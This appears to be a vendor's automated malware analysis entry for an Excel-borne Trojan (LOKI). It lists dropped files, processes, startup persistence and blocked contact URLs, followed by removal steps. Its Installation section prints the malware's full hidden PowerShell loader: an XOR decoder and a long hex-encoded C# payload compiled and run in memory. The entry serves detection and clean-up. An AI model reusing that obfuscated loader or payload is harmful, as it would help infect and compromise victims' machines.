Trojan.X97M.LOKI.AR


 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size:

182,272 bytes

File Type:

XLS

Memory Resident:

Yes

Initial Samples Received Date:

23 Jan 2020

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

  • powershell -WindowStyle Hidden function x6f8efb {param($gcbc4a3)$kd7236a='qff4c';$g2553='';for ($i=0; $i -lt $gcbc4a3.length;$i+=2){$s5c3d=[convert]::ToByte($gcbc4a3.Substring($i,2),16);$g2553+=[char]($s5c3d -bxor $kd7236a[($i/2)%$kd7236a.length]);}return $g2553;} $sf7db = '04150f5a0451351f4717140b5d41101808011430081512510e5f34135a17180b031a2a1f1203460c0135034615180503475804150f5a0451351f4717140b48700a1001085b10050f05475804150f5a0451351f4717140b487d2c4a13155d0d1646354d1005030b1a2d14125d3969011304580a124605580202154646054003500d050a3d22580f380b165b11054e445f06030803585043444a710d05141f640c180812094136031264111e052750070303154741583b464416130a0f5743021207400a1246034c17141408142a1f12364011511505560512554e7d0d05361246431757530c01424a1540111808011406130005014a4a3d22580f380b165b11054e445f06030803585043444a14261f12144d331e0f0840434c4644780c10022a5d010307144d41583b464416130a0f5743021207400a1246034c17141408142a1f1236401151050557004505511c1005140f5a04510252550042075f1d582a220a582a1c1609461759440d51111f030a0751534a46710d05141f640c1808120941270f144016100a36460c0503054041583b464416130a0f5743021207400a1246034c1714140814011e090a14004003055754104e2f5a172112141412455f520302124a337d0d053612464312075f5200474a46410a1f1246425b4955530d4f5109134043040f084043135754025549054f0f38350a0a7d0e010914404b532d03460d140a55064d150a0a164f51230840110836095d0d055b4466171d2b0942063c030b5b1108444a143014122a5510052314460c035b00550f02034f6943021207400a1246034c1714140814151e0f0214134453525057174e2f5a1721121414141355020055444a2f5a17211214140b430704064f1808121408145f05034a4a1613560f180546471710120f57431808121408460052005b594f1d7d0d0536124643195402030048465b14001205050000464e1e0205490300564b5357560401405353505715575304024107441d4a4a0f001c0b430251575a4c5b2f5a172112141a391414091d181609125b4309575455024a1b2f5a172112141411460507025e0205045200424e0e060746055f181b47005e5105134e440753410457015615555605514151560c544757500554415656075747444f1d5818004e4654120750095e380812641703483c51111e4f1d530c0509464c524307070f1e242f0840330514464456430307094b242f08403305144f0158040f0840430855045606155f5b045818004e15004003055754104e14030010504a44564303071853095256180c0412464d50130403505a584f1d530c0509464c524307070f1e331f1251382c460c505542045b4f5309555718530900001853095f5649583808126417034614035549045b790203150e550f5f270a580c122e21580c13070a1c50585d2b5511020e07584d3209164d4b1b025007015d564a4654475e041850585d160156450252524b1f0311142a1f1236401159145157024748325b2a1f1250004b584d564c534157041d4f0351500c015d554f0f1b405407555951310356201d0f035a175103055055125b08511451310356201d0f035a17594f5d4717030f0853430104525107465e5b710d070f145b0d1c0308404d360312720c1d0203463310120e1c261f100f460c1f0b035a175f3516510018070a720c1d0203464d301616580a1207125d0c1f22074002584d44683f0752540001425f441f1b47005e5105134e440105415557515640444f0f06120250574d3509115a0f1e0702720a1d034e4c55175e0352015944570d524357540057445f5351574857530152405157035346560701544502570653485604050140555701574853520457445052055713535104564502575652475657164a5d1604000615515e1d582114095706021535400203122f5a051e461f075a435202515e1f0311143303090551100235125511052f08520c591604000615515e1d58211409570602154867171014121c1a425f540007144f5d46060513145a43415d1b4416130a0f5743021207400a1246154011180801141b47005e5105134e15401118080114024553070054424f1d4717030f0853431757530c01425b44450517520516580212145d0d1646055700125205035e2212145d0d1648235913051f5d520c034e0f5a17510f5b0458185a070056105251074d3d03085317195d0f1f5e434f1d561a0503464700130005075e3209084206031248600c331f12514b10525355574655486716131512460a1f014e5d4f434f4a0555585d05570012520503484c4e055c02034f4e470013000507432f460005564904556f4b1849541d4354460005564904551a2f140801400b2c4f5d4911141213460d51050557004505510f1e0c'; $sf7db2 = x6f8efb($sf7db); Add-Type -TypeDefinition $sf7db2; [rf1e69f]::k7f448();
  • "%Windows%\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"%User Temp%\kgjc5w5k.cmdline"
  • %Application Data%\v424b39.exe
  • %Windows%\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%User Temp%\RES5CDF.tmp" "%User Temp%\CSC5CBF.tmp"
  • "%Application Data%\iutmn\etgs.exe"
  • %System%\lsass.exe

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.)

It creates the following folders:

  • %Application Data%\iutmn
  • %Application Data%\737FF7

(Note: %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Autostart Technique

This Trojan drops the following file(s) in the Windows User Startup folder to enable its automatic execution at every system startup:

  • %User Startup%\iutmn.vbs

(Note: %User Startup% is the current user's Startup folder, which is usually C:\Windows\Profiles\{user name}\Start Menu\Programs\Startup on Windows 98 and ME, C:\WINNT\Profiles\{user name}\Start Menu\Programs\Startup on Windows NT, C:\Documents and Settings\{User name}\Start Menu\Programs\Startup on Windows 2003(32-bit), XP and 2000(32-bit), or C:\Users\{user name}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit), 10(64-bit).)

Dropping Routine

This Trojan drops the following files:

  • %Application Data%\iutmn\etgs.exe:ZoneIdentifier
  • %User Temp%\kgjc5w5k.0.cs
  • %System Root%\BVTBin\Tests\installpackage\csilogfile.log
  • %User Temp%\kgjc5w5k.dll
  • %User Temp%\kgjc5w5k.err
  • %Application Data%\v424b39.exe
  • %Application Data%\737FF7\73A3E3.exe
  • %User Temp%\27807593.od
  • %User Temp%\kgjc5w5k.pdb
  • %User Temp%\kgjc5w5k.cmdline
  • %Application Data%\iutmn\etgs.exe
  • %Application Data%\737FF7\73A3E3.lck
  • {malware file path and name}
  • %User Temp%\kgjc5w5k.out

(Note: %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %System Root% is the Windows root folder, where it usually is C:\ on all Windows operating system versions.)

Other Details

This Trojan connects to the following possibly malicious URL:

  • http://{BLOCKED}c.com/pd/2050-11.jpg
  • http://{BLOCKED}t.com/boot1/pin.php

This report is generated via an automated analysis system.

  SOLUTION

Minimum Scan Engine:

9.850

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Restart in Safe Mode

[ Learn More ]

Step 3

Identify and terminate files detected as Trojan.X97M.LOKI.AR

[ Learn More ]
  1. Windows Task Manager may not display all running processes. In this case, please use a third-party process viewer, preferably Process Explorer, to terminate the malware/grayware/spyware file. You may download the said tool here.
  2. If the detected file is displayed in either Windows Task Manager or Process Explorer but you cannot delete it, restart your computer in safe mode. To do this, refer to this link for the complete steps.
  3. If the detected file is not displayed in either Windows Task Manager or Process Explorer, continue doing the next steps.

Step 4

Search and delete these components

[ Learn More ]
There may be some components that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %Application Data%\iutmn\etgs.exe:ZoneIdentifier
  • %User Temp%\kgjc5w5k.0.cs
  • %System Root%\BVTBin\Tests\installpackage\csilogfile.log
  • %User Temp%\kgjc5w5k.dll
  • %User Temp%\kgjc5w5k.err
  • %Application Data%\v424b39.exe
  • %Application Data%\737FF7\73A3E3.exe
  • %User Temp%\27807593.od
  • %User Temp%\kgjc5w5k.pdb
  • %User Temp%\kgjc5w5k.cmdline
  • %Application Data%\iutmn\etgs.exe
  • %Application Data%\737FF7\73A3E3.lck
  • {malware file path and name}
  • %User Temp%\kgjc5w5k.out

Step 5

Search and delete these folders

[ Learn More ]
Please make sure you check the Search Hidden Files and Folders checkbox in the More advanced options option to include all hidden folders in the search result.
  • %Application Data%\iutmn
  • %Application Data%\737FF7

Step 6

Restart in normal mode and scan your computer with your Trend Micro product for files detected as Trojan.X97M.LOKI.AR. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.


Did this description help? Tell us how we did.